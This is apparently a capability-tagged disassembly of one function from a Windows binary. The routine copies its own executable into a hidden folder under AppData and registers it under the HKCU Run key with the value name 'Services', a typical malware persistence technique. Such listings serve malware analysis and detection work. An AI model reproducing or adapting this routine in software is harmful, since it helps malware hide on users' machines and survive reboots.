Function at 0x1400059b8
Capabilities:
Copy file
Create directory
Get common file path
Get file attributes
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x2f8]
sub rsp, 0x3f0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140032a48]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
mov rbx, rcx
xor esi, esi
mov dword [rsp + 0x30], esi
mov byte [rbp - 0x78], sil
xor edx, edx
lea r8d, [rsi + 0x22]
lea rcx, [rbp - 0x77]
call fcn.14000fbd0
lea rcx, [rbp - 0x78]
call fcn.140005478
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x140005a5d
mov edi, 7
mov qword [rbx + 0x18], rdi
mov qword [rbx + 0x10], rsi
mov word [rbx], si
xor r8d, r8d
lea rdx, [0x140029494]
mov rcx, rbx
call fcn.140002468
jmp 0x140005c84
lea rdx, [0x140029404]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140005aa2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140005a36
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or eax, 2
mov edx, eax
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, 0x104
mov r8d, edi
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0xc0]
mov edx, edi
lea rcx, [rbp - 0x50]
call fcn.14000e910
lea rdx, [0x140029404]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140005a36
mov edx, 2
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or rdi, 0xffffffffffffffff
test eax, eax
jne 0x140005bba
lea rcx, [rbp - 0x50]
mov rax, rdi
inc rax
cmp byte [rcx + rax], sil
jne 0x140005b7b
mov r9d, 1
add eax, r9d
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Services
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x48], sil
cmp byte [rbp - 0x50], sil
jne 0x140005bd8
mov rdi, rsi
jmp 0x140005be5
lea rax, [rbp - 0x50]
inc rdi
cmp byte [rax + rdi], sil
jne 0x140005bdc
mov r8, rdi
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x48]
call fcn.1400012e0
nop
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae r8, qword [rsp + 0x48]
add r8, qword [rsp + 0x58]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov edi, 7
mov qword [rbp - 0x80], rdi
mov qword [rsp + 0x78], rsi
mov word [rsp + 0x68], si
lea rcx, [rsp + 0x68]
call fcn.14000ac74
mov qword [rbx + 0x18], rdi
mov qword [rbx + 0x10], rsi
mov word [rbx], si
lea rdx, [rsp + 0x68]
mov rcx, rbx
call fcn.1400097f0
cmp qword [rbp - 0x80], 8
jb 0x140005c64
mov rcx, qword [rsp + 0x68]
call fcn.14000c5e0
mov qword [rbp - 0x80], rdi
mov qword [rsp + 0x78], rsi
mov word [rsp + 0x68], si
cmp qword [rsp + 0x60], 0x10
jb 0x140005c84
mov rcx, qword [rsp + 0x48]
call fcn.14000c5e0
mov rax, rbx
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.14000bf30
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret